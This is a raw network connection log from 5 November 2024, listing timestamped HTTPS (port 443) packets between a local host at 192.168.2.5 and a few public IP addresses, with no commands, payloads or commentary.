Nov 5, 2024 22:44:11.210707903 CET	443	49758	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:11.356590033 CET	443	49754	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:11.356631994 CET	443	49754	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:11.356652975 CET	49754	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:11.356676102 CET	443	49754	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:11.356688023 CET	49754	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:11.356723070 CET	49754	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:11.357546091 CET	49754	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:11.357583046 CET	443	49754	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:11.357649088 CET	49754	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:11.358194113 CET	49759	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:11.358242035 CET	443	49759	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:11.358316898 CET	49759	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:11.358599901 CET	49759	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:11.358611107 CET	443	49759	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:12.004844904 CET	443	49756	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.004916906 CET	49756	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.005623102 CET	443	49756	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.005675077 CET	49756	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.009941101 CET	49756	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.009954929 CET	443	49756	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.010226965 CET	443	49756	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.010283947 CET	49756	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.011050940 CET	49756	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.035162926 CET	443	49757	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.035240889 CET	49757	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.035813093 CET	443	49757	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.035890102 CET	49757	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.037571907 CET	49757	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.037584066 CET	443	49757	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.037789106 CET	443	49757	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.037836075 CET	49757	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.038300991 CET	49757	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.051337004 CET	443	49756	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.083321095 CET	443	49757	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.092875957 CET	443	49758	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:12.092942953 CET	49758	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.094502926 CET	49758	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.094511986 CET	443	49758	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:12.094711065 CET	443	49758	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:12.094755888 CET	49758	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.095072985 CET	49758	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.135334969 CET	443	49758	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:12.233973026 CET	443	49759	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:12.234033108 CET	49759	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.235517025 CET	49759	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.235527039 CET	443	49759	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:12.235728979 CET	443	49759	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:12.235773087 CET	49759	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.236054897 CET	49759	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.283333063 CET	443	49759	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:12.372822046 CET	443	49756	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.372915983 CET	49756	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.372932911 CET	443	49756	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.372975111 CET	49756	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.373051882 CET	49756	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.373083115 CET	443	49756	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.373126030 CET	49756	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.373687029 CET	49763	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.373718023 CET	443	49763	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.373774052 CET	49763	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.373970985 CET	49763	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.373980045 CET	443	49763	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.416660070 CET	443	49757	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.416729927 CET	49757	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.416747093 CET	443	49757	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.416794062 CET	49757	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.416842937 CET	49757	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.416874886 CET	443	49757	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.416922092 CET	49757	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.417252064 CET	49764	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.417274952 CET	443	49764	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.417334080 CET	49764	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.417550087 CET	49764	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.417561054 CET	443	49764	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.512590885 CET	443	49758	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:12.512634039 CET	443	49758	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:12.512639046 CET	49758	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.512646914 CET	443	49758	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:12.512671947 CET	49758	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.512999058 CET	49758	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.513003111 CET	443	49758	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:12.513050079 CET	49758	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.513391018 CET	49758	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.513418913 CET	443	49758	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:12.513464928 CET	49758	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.514065027 CET	49765	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.514096022 CET	443	49765	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:12.514142036 CET	49765	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.514331102 CET	49765	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.514345884 CET	443	49765	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:12.666014910 CET	49759	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.666048050 CET	49763	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.666079998 CET	49764	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.666107893 CET	49765	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.666651964 CET	49766	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.666676044 CET	443	49766	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:12.666734934 CET	49766	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.667222977 CET	49766	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:12.667231083 CET	443	49766	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:12.668529034 CET	49767	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.668556929 CET	443	49767	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.668618917 CET	49767	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.668811083 CET	49767	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.668822050 CET	443	49767	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.669308901 CET	49768	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.669341087 CET	443	49768	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:12.669398069 CET	49768	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.669945955 CET	49768	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:12.669954062 CET	443	49768	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.513226986 CET	443	49766	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:13.513303041 CET	49766	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:13.518227100 CET	49766	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:13.518238068 CET	443	49766	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:13.518470049 CET	443	49766	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:13.518562078 CET	49766	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:13.519478083 CET	49766	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:13.529350042 CET	443	49768	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.529416084 CET	49768	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.529999018 CET	443	49768	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.530041933 CET	49768	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.537033081 CET	443	49767	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.537098885 CET	49767	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.537694931 CET	443	49767	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.537744999 CET	49767	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.541999102 CET	49768	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.542013884 CET	443	49768	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.542237043 CET	443	49768	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.542373896 CET	49768	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.542804003 CET	49768	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.546281099 CET	49767	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.546294928 CET	443	49767	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.547069073 CET	443	49767	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.547108889 CET	49767	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.547899961 CET	49767	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.567329884 CET	443	49766	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:13.587325096 CET	443	49768	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.595336914 CET	443	49767	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.910403013 CET	443	49768	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.910465002 CET	49768	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.910476923 CET	443	49768	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.910526991 CET	49768	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.910651922 CET	49768	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.910686970 CET	443	49768	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.910742044 CET	49768	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.911279917 CET	49773	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.911324024 CET	443	49773	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.911432981 CET	49773	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.911870003 CET	49773	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.911886930 CET	443	49773	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.912790060 CET	49774	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:13.912820101 CET	443	49774	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:13.912934065 CET	49774	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:13.913120031 CET	49774	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:13.913131952 CET	443	49774	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:13.919135094 CET	443	49767	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.919183016 CET	49767	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.919197083 CET	443	49767	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.919245005 CET	49767	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.919329882 CET	49767	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.919349909 CET	443	49767	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.919491053 CET	443	49767	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.919538975 CET	49767	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.919552088 CET	49767	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.919786930 CET	49775	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.919811964 CET	443	49775	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.919862986 CET	49775	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.920075893 CET	49775	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:13.920089960 CET	443	49775	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:13.956293106 CET	443	49766	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:13.956331015 CET	443	49766	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:13.956351042 CET	49766	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:13.956366062 CET	443	49766	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:13.956379890 CET	49766	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:13.956423998 CET	49766	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:13.957179070 CET	49766	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:13.957211018 CET	443	49766	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:13.957263947 CET	49766	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:13.957523108 CET	49776	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:13.957545042 CET	443	49776	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:13.957606077 CET	49776	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:13.957798958 CET	49776	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:13.957813025 CET	443	49776	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:14.761976957 CET	443	49773	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:14.762084961 CET	49773	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:14.762614965 CET	443	49773	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:14.762700081 CET	49773	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:14.772654057 CET	443	49774	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:14.772874117 CET	49774	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:14.786221027 CET	49773	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:14.786241055 CET	443	49773	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:14.786438942 CET	443	49773	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:14.786611080 CET	49773	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:14.787146091 CET	49773	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:14.788325071 CET	49774	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:14.788338900 CET	443	49774	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:14.788523912 CET	443	49774	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:14.788640976 CET	49774	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:14.788935900 CET	49774	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:14.805310011 CET	443	49775	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:14.805480957 CET	49775	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:14.806387901 CET	443	49775	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:14.806669950 CET	49775	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:14.808374882 CET	49775	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:14.808382988 CET	443	49775	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:14.808705091 CET	443	49775	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:14.809082031 CET	49775	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:14.809082031 CET	49775	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:14.824942112 CET	443	49776	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:14.825062990 CET	49776	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:14.826406956 CET	49776	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:14.826416016 CET	443	49776	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:14.826646090 CET	443	49776	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:14.828605890 CET	49776	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:14.828929901 CET	49776	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:14.831329107 CET	443	49773	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:14.835319042 CET	443	49774	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:14.851329088 CET	443	49775	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:14.875340939 CET	443	49776	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:15.084229946 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:15.084268093 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:15.084338903 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:15.084630013 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:15.084645033 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:15.143851995 CET	443	49773	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:15.143980980 CET	49773	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:15.144012928 CET	443	49773	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:15.144094944 CET	49773	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:15.144094944 CET	49773	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:15.144140005 CET	443	49773	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:15.144241095 CET	443	49773	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:15.144243002 CET	49773	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:15.144368887 CET	49773	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:15.144715071 CET	49779	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:15.144742966 CET	443	49779	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:15.144865990 CET	49779	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:15.145111084 CET	49779	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:15.145123959 CET	443	49779	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:15.181570053 CET	443	49775	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:15.181713104 CET	49775	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:15.181736946 CET	443	49775	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:15.181823969 CET	49775	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:15.181824923 CET	49775	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:15.181895018 CET	443	49775	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:15.182065010 CET	49775	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:15.182353020 CET	49780	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:15.182385921 CET	443	49780	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:15.182626963 CET	49780	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:15.182626963 CET	49780	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:15.182661057 CET	443	49780	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:15.201129913 CET	443	49774	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:15.201209068 CET	49774	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:15.201229095 CET	443	49774	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:15.201265097 CET	443	49774	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:15.201292038 CET	49774	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:15.201302052 CET	443	49774	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:15.201405048 CET	49774	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:15.202519894 CET	49774	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:15.202519894 CET	49781	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:15.202544928 CET	443	49781	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:15.202559948 CET	443	49774	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:15.202672005 CET	443	49774	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:15.202686071 CET	49774	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:15.202686071 CET	49781	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:15.202733040 CET	49774	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:15.202953100 CET	49781	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:15.202963114 CET	443	49781	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:15.403964996 CET	443	49776	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:15.404004097 CET	443	49776	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:15.404076099 CET	49776	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:15.404095888 CET	443	49776	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:15.404369116 CET	49776	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:15.404808044 CET	49776	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:15.404845953 CET	443	49776	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:15.404999971 CET	443	49776	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:15.405023098 CET	49776	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:15.405052900 CET	49776	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:15.405355930 CET	49783	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:15.405369043 CET	443	49783	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:15.405495882 CET	49783	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:15.405705929 CET	49783	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:15.405716896 CET	443	49783	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:15.812345982 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:15.812446117 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:15.831345081 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:15.831371069 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:15.831609964 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:15.845921040 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:15.891323090 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:15.997669935 CET	443	49779	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:15.997740984 CET	49779	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:15.998311043 CET	443	49779	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:15.998363018 CET	49779	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.003846884 CET	49779	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.003864050 CET	443	49779	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.004090071 CET	443	49779	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.004153967 CET	49779	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.004755974 CET	49779	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.045556068 CET	443	49781	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:16.045629025 CET	49781	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.045685053 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.045711040 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.045727015 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.045788050 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.045818090 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.045866013 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.051336050 CET	443	49779	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.059664965 CET	443	49780	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.059751987 CET	49780	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.060796022 CET	443	49780	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.060851097 CET	49780	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.088867903 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.088898897 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.088953972 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.088968992 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.088999987 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.089026928 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.161287069 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.161307096 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.161454916 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.161487103 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.161556005 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.204355955 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.204374075 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.204457998 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.204469919 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.204513073 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.206101894 CET	49781	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.206120968 CET	443	49781	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:16.206373930 CET	443	49781	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:16.206430912 CET	49781	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.206687927 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.206702948 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.206759930 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.206765890 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.206820965 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.213458061 CET	49781	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.248204947 CET	49780	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.248223066 CET	443	49780	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.249376059 CET	443	49780	172.217.23.110	192.168.2.5
